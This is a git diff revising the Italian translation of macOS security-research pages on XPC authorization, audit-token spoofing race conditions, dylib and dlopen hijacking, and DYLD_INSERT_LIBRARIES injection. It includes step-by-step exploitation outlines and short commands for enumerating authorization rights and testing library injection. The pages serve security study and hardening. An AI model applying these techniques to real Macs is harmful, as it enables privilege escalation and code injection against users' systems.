||||
|
||||
Qualsiasi utente può accedere alle informazioni sull'orologio, tuttavia per impostare l'ora o modificare altre impostazioni è necessario essere root.
|
||||
Qualsiasi utente può accedere alle informazioni sul clock, tuttavia per impostare l'ora o modificare altre impostazioni è necessario essere root.
|
||||
|
||||
Per ottenere informazioni è possibile chiamare funzioni dal sottosistema `clock` come: `clock_get_time`, `clock_get_attributtes` o `clock_alarm`\
|
||||
Per modificare i valori il sottosistema `clock_priv` può essere utilizzato con funzioni come `clock_set_time` e `clock_set_attributes`
|
||||
|
||||
@ -73,7 +73,7 @@ Inoltre, la funzione `xpc_copy_description(object)` può essere utilizzata per o
|
||||
Questi oggetti hanno anche alcuni metodi da chiamare come `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize`...
|
||||
|
||||
Gli `xpc_object_t` vengono creati chiamando la funzione `xpc_<objetType>_create`, che internamente chiama `_xpc_base_create(Class, Size)` dove viene indicato il tipo della classe dell'oggetto (uno di `XPC_TYPE_*`) e la sua dimensione (alcuni extra 40B verranno aggiunti alla dimensione per i metadati). Ciò significa che i dati dell'oggetto inizieranno all'offset di 40B.\
|
||||
Pertanto, il `xpc_<objectType>_t` è una sorta di sottoclasse di `xpc_object_t`, che sarebbe una sottoclasse di `os_object_t*`.
|
||||
Pertanto, il `xpc_<objectType>_t` è una sorta di sottoclasse di `xpc_object_t` che sarebbe una sottoclasse di `os_object_t*`.
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che dovrebbe essere lo sviluppatore a utilizzare `xpc_dictionary_[get/set]_<objectType>` per ottenere o impostare il tipo e il valore reale di una chiave.
|
||||
@ -85,7 +85,7 @@ Un **`xpc_pipe`** è un tubo FIFO che i processi possono utilizzare per comunica
|
||||
|
||||
Nota che l'oggetto **`xpc_pipe`** è un **`xpc_object_t`** con informazioni nella sua struct riguardo ai due port Mach utilizzati e al nome (se presente). Il nome, ad esempio, il demone `secinitd` nel suo plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` configura il tubo chiamato `com.apple.secinitd`.
|
||||
|
||||
Un esempio di un **`xpc_pipe`** è il **bootstrap pipe** creato da **`launchd`**, che rende possibile la condivisione dei port Mach.
|
||||
Un esempio di un **`xpc_pipe`** è il **bootstrap pipe** creato da **`launchd`** che rende possibile la condivisione dei port Mach.
|
||||
|
||||
- **`NSXPC*`**
|
||||
|
||||
@ -99,9 +99,9 @@ XPC utilizza GCD per inviare messaggi, inoltre genera alcune code di dispatch co
|
||||
## Servizi XPC
|
||||
|
||||
Questi sono **bundle con estensione `.xpc`** situati all'interno della cartella **`XPCServices`** di altri progetti e nel `Info.plist` hanno il `CFBundlePackageType` impostato su **`XPC!`**.\
|
||||
Questo file ha altre chiavi di configurazione come `ServiceType`, che può essere Application, User, System o `_SandboxProfile`, che può definire un sandbox, o `_AllowedClients`, che potrebbe indicare diritti o ID richiesti per contattare il server. Queste e altre opzioni di configurazione saranno utili per configurare il servizio al momento del lancio.
|
||||
Questo file ha altre chiavi di configurazione come `ServiceType` che può essere Application, User, System o `_SandboxProfile` che può definire un sandbox o `_AllowedClients` che potrebbe indicare diritti o ID richiesti per contattare il servizio. Queste e altre opzioni di configurazione saranno utili per configurare il servizio al momento del lancio.
|
||||
|
||||
### Avviare un Servizio
|
||||
### Avvio di un Servizio
|
||||
|
||||
L'app tenta di **connettersi** a un servizio XPC utilizzando `xpc_connection_create_mach_service`, quindi launchd localizza il demone e avvia **`xpcproxy`**. **`xpcproxy`** applica le restrizioni configurate e genera il servizio con i FD e i port Mach forniti.
|
||||
|
||||
@ -116,7 +116,7 @@ L'utilità `xpcproxy` utilizza il prefisso `0x22`, ad esempio: `0x2200001c: xpcp
|
||||
|
||||
## Messaggi di Evento XPC
|
||||
|
||||
Le applicazioni possono **iscriversi** a diversi **messaggi di evento**, consentendo loro di essere **iniziati su richiesta** quando si verificano tali eventi. La **configurazione** per questi servizi è effettuata nei file **plist di launchd**, situati nelle **stesse directory di quelli precedenti** e contenenti una chiave **`LaunchEvent`** aggiuntiva.
|
||||
Le applicazioni possono **iscriversi** a diversi **messaggi di evento**, consentendo loro di essere **iniziati su richiesta** quando si verificano tali eventi. La **configurazione** per questi servizi è effettuata nei file **plist di launchd**, situati nelle **stesse directory di quelli precedenti** e contenenti una chiave extra **`LaunchEvent`**.
|
||||
|
||||
### Controllo del Processo di Connessione XPC
|
||||
|
||||
@ -440,7 +440,7 @@ return;
|
||||
## Remote XPC
|
||||
|
||||
Questa funzionalità fornita da `RemoteXPC.framework` (da `libxpc`) consente di comunicare tramite XPC tra diversi host.\
|
||||
I servizi che supportano remote XPC avranno nel loro plist la chiave UsesRemoteXPC come nel caso di `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. Tuttavia, sebbene il servizio sia registrato con `launchd`, è `UserEventAgent` con i plugin `com.apple.remoted.plugin` e `com.apple.remoteservicediscovery.events.plugin` a fornire la funzionalità.
|
||||
I servizi che supportano XPC remoto avranno nel loro plist la chiave UsesRemoteXPC come nel caso di `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. Tuttavia, sebbene il servizio sia registrato con `launchd`, è `UserEventAgent` con i plugin `com.apple.remoted.plugin` e `com.apple.remoteservicediscovery.events.plugin` a fornire la funzionalità.
|
||||
|
||||
Inoltre, il `RemoteServiceDiscovery.framework` consente di ottenere informazioni dal `com.apple.remoted.plugin` esponendo funzioni come `get_device`, `get_unique_device`, `connect`...
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@ Quando un'applicazione ha bisogno di **eseguire azioni come utente privilegiato*
|
||||
|
||||
### ShouldAcceptNewConnection sempre YES
|
||||
|
||||
Un esempio può essere trovato in [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). In `App/AppDelegate.m` cerca di **connettersi** al **HelperTool**. E in `HelperTool/HelperTool.m` la funzione **`shouldAcceptNewConnection`** **non controllerà** nessuno dei requisiti indicati in precedenza. Restituirà sempre YES:
|
||||
Un esempio può essere trovato in [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). In `App/AppDelegate.m` tenta di **connettersi** al **HelperTool**. E in `HelperTool/HelperTool.m` la funzione **`shouldAcceptNewConnection`** **non controllerà** nessuno dei requisiti indicati in precedenza. Restituirà sempre YES:
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
@ -37,7 +37,7 @@ macos-xpc-connecting-process-check/
|
||||
|
||||
Tuttavia, c'è una **autorizzazione in corso quando viene chiamato un metodo dal HelperTool**.
|
||||
|
||||
La funzione **`applicationDidFinishLaunching`** di `App/AppDelegate.m` creerà un riferimento di autorizzazione vuoto dopo che l'app è stata avviata. Questo dovrebbe sempre funzionare.\
|
||||
La funzione **`applicationDidFinishLaunching`** da `App/AppDelegate.m` creerà un riferimento di autorizzazione vuoto dopo che l'app è stata avviata. Questo dovrebbe sempre funzionare.\
|
||||
Poi, cercherà di **aggiungere alcuni diritti** a quel riferimento di autorizzazione chiamando `setupAuthorizationRights`:
|
||||
```objectivec
|
||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
@ -62,7 +62,7 @@ if (self->_authRef) {
|
||||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
La funzione `setupAuthorizationRights` di `Common/Common.m` memorizzerà nel database di autorizzazione `/var/db/auth.db` i diritti dell'applicazione. Nota come aggiungerà solo i diritti che non sono ancora nel database:
|
||||
La funzione `setupAuthorizationRights` da `Common/Common.m` memorizzerà nel database di autorizzazione `/var/db/auth.db` i diritti dell'applicazione. Nota come aggiungerà solo i diritti che non sono ancora nel database:
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
@ -228,7 +228,7 @@ assert(junk == errAuthorizationSuccess);
|
||||
return error;
|
||||
}
|
||||
```
|
||||
Nota che per **verificare i requisiti per ottenere il diritto** di chiamare quel metodo, la funzione `authorizationRightForCommand` controllerà solo l'oggetto commento precedente **`commandInfo`**. Poi, chiamerà **`AuthorizationCopyRights`** per verificare **se ha i diritti** di chiamare la funzione (nota che i flag consentono l'interazione con l'utente).
|
||||
Nota che per **verificare i requisiti per ottenere il diritto** di chiamare quel metodo, la funzione `authorizationRightForCommand` controllerà semplicemente l'oggetto commento precedente **`commandInfo`**. Poi, chiamerà **`AuthorizationCopyRights`** per verificare **se ha i diritti** di chiamare la funzione (nota che i flag consentono l'interazione con l'utente).
|
||||
|
||||
In questo caso, per chiamare la funzione `readLicenseKeyAuthorization`, il `kCommandKeyAuthRightDefault` è definito come `@kAuthorizationRuleClassAllow`. Quindi **chiunque può chiamarlo**.
|
||||
|
||||
@ -240,7 +240,7 @@ sudo sqlite3 /var/db/auth.db
|
||||
SELECT name FROM rules;
|
||||
SELECT name FROM rules WHERE name LIKE '%safari%';
|
||||
```
|
||||
Quindi, puoi leggere chi può accedere al diritto con:
|
||||
Poi, puoi leggere chi può accedere al diritto con:
|
||||
```bash
|
||||
security authorizationdb read com.apple.safaridriver.allow
|
||||
```
|
||||
@ -249,8 +249,8 @@ security authorizationdb read com.apple.safaridriver.allow
|
||||
Puoi trovare **tutte le configurazioni dei permessi** [**qui**](https://www.dssw.co.uk/reference/authorization-rights/), ma le combinazioni che non richiederanno interazione da parte dell'utente sarebbero:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
- Questa è la chiave più diretta. Se impostata su `false`, specifica che un utente non ha bisogno di fornire autenticazione per ottenere questo diritto.
|
||||
- Questo viene utilizzato in **combinazione con una delle 2 sotto o indicando un gruppo** a cui l'utente deve appartenere.
|
||||
- Questa è la chiave più diretta. Se impostata su `false`, specifica che un utente non deve fornire autenticazione per ottenere questo diritto.
|
||||
- Questo è usato in **combinazione con una delle 2 sotto o indicando un gruppo** a cui l'utente deve appartenere.
|
||||
2. **'allow-root': 'true'**
|
||||
- Se un utente opera come utente root (che ha permessi elevati), e questa chiave è impostata su `true`, l'utente root potrebbe potenzialmente ottenere questo diritto senza ulteriore autenticazione. Tuttavia, tipicamente, ottenere lo stato di utente root richiede già autenticazione, quindi questo non è uno scenario di "nessuna autenticazione" per la maggior parte degli utenti.
|
||||
3. **'session-owner': 'true'**
|
||||
@ -258,7 +258,7 @@ Puoi trovare **tutte le configurazioni dei permessi** [**qui**](https://www.dssw
|
||||
4. **'shared': 'true'**
|
||||
- Questa chiave non concede diritti senza autenticazione. Invece, se impostata su `true`, significa che una volta che il diritto è stato autenticato, può essere condiviso tra più processi senza che ciascuno debba ri-autenticarsi. Ma la concessione iniziale del diritto richiederebbe comunque autenticazione a meno che non sia combinata con altre chiavi come `'authenticate-user': 'false'`.
|
||||
|
||||
Puoi [**utilizzare questo script**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) per ottenere i diritti interessanti:
|
||||
Puoi [**usare questo script**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) per ottenere i diritti interessanti:
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
||||
@ -17,7 +17,7 @@ Quando viene stabilita una connessione a un servizio XPC, il server verificherà
|
||||
5. (4 o 5) Controlla se il processo di connessione ha un runtime rinforzato senza diritti pericolosi (come quelli che consentono di caricare librerie arbitrarie o utilizzare variabili d'ambiente DYLD).
|
||||
1. Se questo **non è verificato**, il client potrebbe essere **vulnerabile all'iniezione di codice**.
|
||||
6. Controlla se il processo di connessione ha un **diritto** che gli consente di connettersi al servizio. Questo è applicabile per i binari Apple.
|
||||
7. La **verifica** deve essere **basata** sul **token di audit del client di connessione** **invece** che sul suo ID processo (**PID**) poiché il primo previene **attacchi di riutilizzo del PID**.
|
||||
7. La **verifica** deve essere **basata** sul **token di audit del client di connessione** **invece** che sul suo ID di processo (**PID**) poiché il primo previene **attacchi di riutilizzo del PID**.
|
||||
- Gli sviluppatori **raramente utilizzano la chiamata API del token di audit** poiché è **privata**, quindi Apple potrebbe **cambiarla** in qualsiasi momento. Inoltre, l'uso di API private non è consentito nelle app del Mac App Store.
|
||||
- Se viene utilizzato il metodo **`processIdentifier`**, potrebbe essere vulnerabile.
|
||||
- **`xpc_dictionary_get_audit_token`** dovrebbe essere utilizzato invece di **`xpc_connection_get_audit_token`**, poiché quest'ultimo potrebbe anche essere [vulnerabile in determinate situazioni](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
@ -71,7 +71,7 @@ SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
|
||||
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
|
||||
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
|
||||
```
|
||||
Se un sviluppatore non vuole controllare la versione del client, potrebbe almeno verificare che il client non sia vulnerabile all'iniezione di processi:
|
||||
Se un sviluppatore non vuole controllare la versione del client, potrebbe verificare che il client non sia vulnerabile all'iniezione di processi almeno:
|
||||
```objectivec
|
||||
[...]
|
||||
CFDictionaryRef csInfo = NULL;
|
||||
|
||||
@ -14,7 +14,7 @@ Se non sai cosa sono i messaggi Mach inizia a controllare questa pagina:
|
||||
{{#endref}}
|
||||
|
||||
Per il momento ricorda che ([definizione da qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
I messaggi Mach vengono inviati tramite un _mach port_, che è un canale di comunicazione **a ricevitore singolo, mittente multiplo** integrato nel kernel mach. **Più processi possono inviare messaggi** a un mach port, ma in qualsiasi momento **solo un singolo processo può leggerne**. Proprio come i descrittori di file e i socket, i mach port sono allocati e gestiti dal kernel e i processi vedono solo un intero, che possono usare per indicare al kernel quale dei loro mach port vogliono utilizzare.
|
||||
I messaggi Mach vengono inviati tramite un _mach port_, che è un canale di comunicazione **a ricevitore singolo, più mittenti** integrato nel kernel mach. **Più processi possono inviare messaggi** a un mach port, ma in qualsiasi momento **solo un singolo processo può leggerne**. Proprio come i descrittori di file e i socket, i mach port sono allocati e gestiti dal kernel e i processi vedono solo un intero, che possono usare per indicare al kernel quale dei loro mach port vogliono utilizzare.
|
||||
|
||||
## Connessione XPC
|
||||
|
||||
@ -29,30 +29,30 @@ Se non sai come viene stabilita una connessione XPC controlla:
|
||||
|
||||
Ciò che è interessante sapere è che **l'astrazione di XPC è una connessione uno a uno**, ma si basa su una tecnologia che **può avere più mittenti, quindi:**
|
||||
|
||||
- I mach port sono a ricevitore singolo, **mittente multiplo**.
|
||||
- Il token di audit di una connessione XPC è il token di audit **copia del messaggio ricevuto più di recente**.
|
||||
- I mach port sono a ricevitore singolo, **più mittenti**.
|
||||
- Il token di audit di una connessione XPC è il token di audit **copiato dall'ultimo messaggio ricevuto**.
|
||||
- Ottenere il **token di audit** di una connessione XPC è fondamentale per molti **controlli di sicurezza**.
|
||||
|
||||
Sebbene la situazione precedente sembri promettente, ci sono alcuni scenari in cui questo non causerà problemi ([da qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
- I token di audit sono spesso utilizzati per un controllo di autorizzazione per decidere se accettare una connessione. Poiché ciò avviene utilizzando un messaggio al servizio port, **non c'è ancora una connessione stabilita**. Ulteriori messaggi su questo port saranno semplicemente gestiti come richieste di connessione aggiuntive. Quindi eventuali **controlli prima di accettare una connessione non sono vulnerabili** (questo significa anche che all'interno di `-listener:shouldAcceptNewConnection:` il token di audit è sicuro). Stiamo quindi **cercando connessioni XPC che verificano azioni specifiche**.
|
||||
- I token di audit sono spesso utilizzati per un controllo di autorizzazione per decidere se accettare una connessione. Poiché ciò avviene utilizzando un messaggio al servizio port, **non c'è ancora una connessione stabilita**. Altri messaggi su questo port saranno semplicemente gestiti come richieste di connessione aggiuntive. Quindi eventuali **controlli prima di accettare una connessione non sono vulnerabili** (questo significa anche che all'interno di `-listener:shouldAcceptNewConnection:` il token di audit è sicuro). Stiamo quindi **cercando connessioni XPC che verificano azioni specifiche**.
|
||||
- I gestori di eventi XPC vengono gestiti in modo sincrono. Ciò significa che il gestore di eventi per un messaggio deve essere completato prima di chiamarlo per il successivo, anche su code di dispatch concorrenti. Quindi all'interno di un **gestore di eventi XPC il token di audit non può essere sovrascritto** da altri messaggi normali (non di risposta!).
|
||||
|
||||
Due diversi metodi in cui questo potrebbe essere sfruttabile:
|
||||
|
||||
1. Variante 1:
|
||||
1. Variante1:
|
||||
- **L'exploit** **si connette** al servizio **A** e al servizio **B**
|
||||
- Il servizio **B** può chiamare una **funzionalità privilegiata** nel servizio A che l'utente non può
|
||||
- Il servizio **A** chiama **`xpc_connection_get_audit_token`** mentre _**non**_ è all'interno del **gestore di eventi** per una connessione in un **`dispatch_async`**.
|
||||
- Quindi un **messaggio diverso** potrebbe **sovrascrivere il Token di Audit** perché viene dispatchato in modo asincrono al di fuori del gestore di eventi.
|
||||
- L'exploit passa a **servizio B il diritto di INVIO al servizio A**.
|
||||
- Quindi svc **B** invierà effettivamente i **messaggi** al servizio **A**.
|
||||
- L'**exploit** cerca di **chiamare** l'**azione privilegiata**. In un RC svc **A** **controlla** l'autorizzazione di questa **azione** mentre **svc B ha sovrascritto il token di audit** (dando all'exploit accesso per chiamare l'azione privilegiata).
|
||||
- L'**exploit** cerca di **chiamare** l'**azione privilegiata.** In un RC svc **A** **controlla** l'autorizzazione di questa **azione** mentre **svc B ha sovrascritto il Token di Audit** (dando all'exploit accesso per chiamare l'azione privilegiata).
|
||||
2. Variante 2:
|
||||
- Il servizio **B** può chiamare una **funzionalità privilegiata** nel servizio A che l'utente non può
|
||||
- L'exploit si connette con **servizio A** che **invia** all'exploit un **messaggio che si aspetta una risposta** in un **port** di **risposta** specifico.
|
||||
- L'exploit si connette con **servizio A** che **invia** all'exploit un **messaggio in attesa di una risposta** in un **port** di **risposta** specifico.
|
||||
- L'exploit invia **servizio** B un messaggio passando **quel port di risposta**.
|
||||
- Quando il servizio **B risponde**, **invia il messaggio al servizio A**, **mentre** l'**exploit** invia un **messaggio diverso al servizio A** cercando di **raggiungere una funzionalità privilegiata** e aspettandosi che la risposta dal servizio B sovrascriva il token di audit nel momento perfetto (Race Condition).
|
||||
- Quando il servizio **B risponde**, **invia il messaggio al servizio A**, **mentre** l'**exploit** invia un diverso **messaggio al servizio A** cercando di **raggiungere una funzionalità privilegiata** e aspettandosi che la risposta dal servizio B sovrascriva il Token di Audit nel momento perfetto (Race Condition).
|
||||
|
||||
## Variante 1: chiamare xpc_connection_get_audit_token al di fuori di un gestore di eventi <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
@ -73,8 +73,8 @@ Pertanto, il servizio **B** è **`diagnosticd`** perché funziona come **root**
|
||||
Per eseguire l'attacco:
|
||||
|
||||
1. Iniziare una **connessione** al servizio denominato `smd` utilizzando il protocollo XPC standard.
|
||||
2. Formare una **connessione secondaria** a `diagnosticd`. Contrariamente alla procedura normale, invece di creare e inviare due nuovi mach port, il diritto di invio del port client viene sostituito con un duplicato del **diritto di invio** associato alla connessione `smd`.
|
||||
3. Di conseguenza, i messaggi XPC possono essere dispatchati a `diagnosticd`, ma le risposte da `diagnosticd` vengono reindirizzate a `smd`. Per `smd`, sembra che i messaggi provenienti sia dall'utente che da `diagnosticd` provengano dalla stessa connessione.
|
||||
2. Formare una **connessione secondaria** a `diagnosticd`. Contrariamente alla procedura normale, invece di creare e inviare due nuovi mach port, il diritto del port del client viene sostituito con un duplicato del **diritto di invio** associato alla connessione `smd`.
|
||||
3. Di conseguenza, i messaggi XPC possono essere dispatchati a `diagnosticd`, ma le risposte da `diagnosticd` vengono reindirizzate a `smd`. Per `smd`, sembra che i messaggi provenienti sia dall'utente che da `diagnosticd` stiano originando dalla stessa connessione.
|
||||
|
||||
|
||||
|
||||
@ -112,7 +112,7 @@ Di seguito è riportata una rappresentazione visiva dello scenario di attacco de
|
||||
## Problemi di scoperta
|
||||
|
||||
- **Difficoltà nel localizzare le istanze**: La ricerca di istanze di utilizzo di `xpc_connection_get_audit_token` è stata difficile, sia staticamente che dinamicamente.
|
||||
- **Metodologia**: Frida è stata impiegata per agganciare la funzione `xpc_connection_get_audit_token`, filtrando le chiamate non provenienti da gestori di eventi. Tuttavia, questo metodo era limitato al processo agganciato e richiedeva un utilizzo attivo.
|
||||
- **Metodologia**: Frida è stata utilizzata per agganciare la funzione `xpc_connection_get_audit_token`, filtrando le chiamate non provenienti da gestori di eventi. Tuttavia, questo metodo era limitato al processo agganciato e richiedeva un utilizzo attivo.
|
||||
- **Strumenti di analisi**: Strumenti come IDA/Ghidra sono stati utilizzati per esaminare i servizi mach raggiungibili, ma il processo è stato lungo, complicato da chiamate che coinvolgono la cache condivisa dyld.
|
||||
- **Limitazioni di scripting**: I tentativi di scriptare l'analisi per le chiamate a `xpc_connection_get_audit_token` da blocchi `dispatch_async` sono stati ostacolati da complessità nell'analisi dei blocchi e interazioni con la cache condivisa dyld.
|
||||
|
||||
|
||||
@ -20,7 +20,7 @@ Questo è simile al [**LD_PRELOAD su Linux**](../../../../linux-hardening/privil
|
||||
Questa tecnica può essere anche **utilizzata come tecnica ASEP** poiché ogni applicazione installata ha un plist chiamato "Info.plist" che consente di **assegnare variabili ambientali** utilizzando una chiave chiamata `LSEnvironmental`.
|
||||
|
||||
> [!TIP]
|
||||
> Dal 2012 **Apple ha drasticamente ridotto il potere** del **`DYLD_INSERT_LIBRARIES`**.
|
||||
> Dal 2012 **Apple ha drasticamente ridotto il potere** di **`DYLD_INSERT_LIBRARIES`**.
|
||||
>
|
||||
> Vai al codice e **controlla `src/dyld.cpp`**. Nella funzione **`pruneEnvironmentVariables`** puoi vedere che le variabili **`DYLD_*`** vengono rimosse.
|
||||
>
|
||||
@ -33,7 +33,7 @@ Questa tecnica può essere anche **utilizzata come tecnica ASEP** poiché ogni a
|
||||
>
|
||||
> Nelle versioni più aggiornate puoi trovare questa logica nella seconda parte della funzione **`configureProcessRestrictions`**. Tuttavia, ciò che viene eseguito nelle versioni più recenti sono i **controlli iniziali della funzione** (puoi rimuovere gli if relativi a iOS o simulazione poiché non verranno utilizzati in macOS).
|
||||
|
||||
### Validazione della Libreria
|
||||
### Library Validation
|
||||
|
||||
Anche se il binario consente di utilizzare la variabile di ambiente **`DYLD_INSERT_LIBRARIES`**, se il binario controlla la firma della libreria da caricare, non caricherà una libreria personalizzata.
|
||||
|
||||
@ -57,10 +57,10 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
## Dylib Hijacking
|
||||
|
||||
> [!CAUTION]
|
||||
> Ricorda che **le precedenti restrizioni sulla validazione della libreria si applicano anche** per eseguire attacchi di Dylib hijacking.
|
||||
> Ricorda che **le precedenti restrizioni sulla validazione delle librerie si applicano anche** per eseguire attacchi di Dylib hijacking.
|
||||
|
||||
Come in Windows, anche in MacOS puoi **hijackare dylibs** per far **eseguire** **codice** **arbitrario** alle **applicazioni** (beh, in realtà da un utente normale questo potrebbe non essere possibile poiché potresti aver bisogno di un permesso TCC per scrivere all'interno di un pacchetto `.app` e hijackare una libreria).\
|
||||
Tuttavia, il modo in cui le applicazioni **MacOS** **caricano** le librerie è **più ristretto** rispetto a Windows. Ciò implica che gli sviluppatori di **malware** possono comunque utilizzare questa tecnica per **furtività**, ma la probabilità di poter **abusare di questo per elevare i privilegi è molto più bassa**.
|
||||
Tuttavia, il modo in cui le applicazioni **MacOS** **caricano** le librerie è **più ristretto** rispetto a Windows. Questo implica che gli sviluppatori di **malware** possono comunque utilizzare questa tecnica per **furtività**, ma la probabilità di poter **abusare di questo per elevare i privilegi è molto più bassa**.
|
||||
|
||||
Prima di tutto, è **più comune** trovare che i **binari MacOS indicano il percorso completo** alle librerie da caricare. E in secondo luogo, **MacOS non cerca mai** nelle cartelle del **$PATH** per le librerie.
|
||||
|
||||
@ -71,7 +71,7 @@ Ci sono **4 diversi comandi header** che un binario macho può utilizzare per ca
|
||||
- Il comando **`LC_LOAD_DYLIB`** è il comando comune per caricare un dylib.
|
||||
- Il comando **`LC_LOAD_WEAK_DYLIB`** funziona come il precedente, ma se il dylib non viene trovato, l'esecuzione continua senza alcun errore.
|
||||
- Il comando **`LC_REEXPORT_DYLIB`** proxy (o riesporta) i simboli da una libreria diversa.
|
||||
- Il comando **`LC_LOAD_UPWARD_DYLIB`** viene utilizzato quando due librerie dipendono l'una dall'altra (questo è chiamato _dipendenza verso l'alto_).
|
||||
- Il comando **`LC_LOAD_UPWARD_DYLIB`** viene utilizzato quando due librerie dipendono l'una dall'altra (questo è chiamato _dipendenza ascendente_).
|
||||
|
||||
Tuttavia, ci sono **2 tipi di hijacking di dylib**:
|
||||
|
||||
@ -115,7 +115,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
## Dlopen Hijacking
|
||||
|
||||
> [!CAUTION]
|
||||
> Ricorda che **le precedenti restrizioni sulla validazione della libreria si applicano anche** per eseguire attacchi di Dlopen hijacking.
|
||||
> Ricorda che **le precedenti restrizioni sulla validazione delle librerie si applicano anche** per eseguire attacchi di Dlopen hijacking.
|
||||
|
||||
Da **`man dlopen`**:
|
||||
|
||||
@ -162,7 +162,7 @@ Da **`man dlopen`**:
|
||||
>
|
||||
> Nota: Se l'eseguibile principale è un **binario set\[ug]id o firmato con diritti**, allora **tutte le variabili ambientali vengono ignorate**, e può essere utilizzato solo un percorso completo ([controlla le restrizioni di DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) per ulteriori informazioni dettagliate)
|
||||
>
|
||||
> Nota: Le piattaforme Apple utilizzano file "universali" per combinare librerie a 32 bit e 64 bit. Ciò significa che non ci sono **percorsi di ricerca separati per 32 bit e 64 bit**.
|
||||
> Nota: Le piattaforme Apple utilizzano file "universali" per combinare librerie a 32 bit e 64 bit. Questo significa che non ci sono **percorsi di ricerca separati per 32 bit e 64 bit**.
|
||||
>
|
||||
> Nota: Su piattaforme Apple, la maggior parte delle librerie OS dylib sono **combinati nel cache di dyld** e non esistono su disco. Pertanto, chiamare **`stat()`** per verificare se un OS dylib esiste **non funzionerà**. Tuttavia, **`dlopen_preflight()`** utilizza gli stessi passaggi di **`dlopen()`** per trovare un file mach-o compatibile.
|
||||
|
||||
@ -307,15 +307,15 @@ codesign -f -s <cert-name> --option=restrict hello-signed
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che anche se ci sono binari firmati con i flag **`0x0(none)`**, possono ottenere dinamicamente il flag **`CS_RESTRICT`** quando vengono eseguiti e quindi questa tecnica non funzionerà in essi.
|
||||
> Nota che anche se ci sono binari firmati con i flag **`0x0(none)`**, possono ottenere dinamicamente il flag **`CS_RESTRICT`** quando vengono eseguiti e quindi questa tecnica non funzionerà su di essi.
|
||||
>
|
||||
> Puoi controllare se un proc ha questo flag con (get [**csops here**](https://github.com/axelexic/CSOps)):
|
||||
> Puoi controllare se un proc ha questo flag con (ottieni [**csops qui**](https://github.com/axelexic/CSOps)):
|
||||
>
|
||||
> ```bash
|
||||
> csops -status <pid>
|
||||
> ```
|
||||
>
|
||||
> e poi controllare se il flag 0x800 è abilitato.
|
||||
> e poi controlla se il flag 0x800 è abilitato.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -11,7 +11,7 @@ Questo linker dovrà localizzare tutte le librerie eseguibili, mappare in memori
|
||||
Naturalmente, **`dyld`** non ha dipendenze (utilizza syscalls e estratti di libSystem).
|
||||
|
||||
> [!CAUTION]
|
||||
> Se questo linker contiene vulnerabilità, poiché viene eseguito prima di eseguire qualsiasi binario (anche quelli con privilegi elevati), sarebbe possibile **escalare i privilegi**.
|
||||
> Se questo linker contiene vulnerabilità, poiché viene eseguito prima di qualsiasi binario (anche quelli con privilegi elevati), sarebbe possibile **escalare i privilegi**.
|
||||
|
||||
### Flusso
|
||||
|
||||
@ -36,9 +36,9 @@ I terminatori sono codificati con **`__attribute__((destructor))`** e si trovano
|
||||
|
||||
### Stub
|
||||
|
||||
Tutti i binari su macOS sono collegati dinamicamente. Pertanto, contengono alcune sezioni di stub che aiutano il binario a saltare al codice corretto in diverse macchine e contesti. È dyld, quando il binario viene eseguito, il cervello che deve risolvere questi indirizzi (almeno quelli non pigri).
|
||||
Tutti i binari su macOS sono collegati dinamicamente. Pertanto, contengono alcune sezioni stub che aiutano il binario a saltare al codice corretto in diverse macchine e contesti. È dyld, quando il binario viene eseguito, il cervello che deve risolvere questi indirizzi (almeno quelli non pigri).
|
||||
|
||||
Alcune sezioni di stub nel binario:
|
||||
Alcune sezioni stub nel binario:
|
||||
|
||||
- **`__TEXT.__[auth_]stubs`**: Puntatori dalle sezioni `__DATA`
|
||||
- **`__TEXT.__stub_helper`**: Piccolo codice che invoca il linking dinamico con informazioni sulla funzione da chiamare
|
||||
@ -68,7 +68,7 @@ Parte di disassemblaggio interessante:
|
||||
100003f80: 913e9000 add x0, x0, #4004
|
||||
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
|
||||
```
|
||||
È possibile vedere che il salto per chiamare printf sta andando a **`__TEXT.__stubs`**:
|
||||
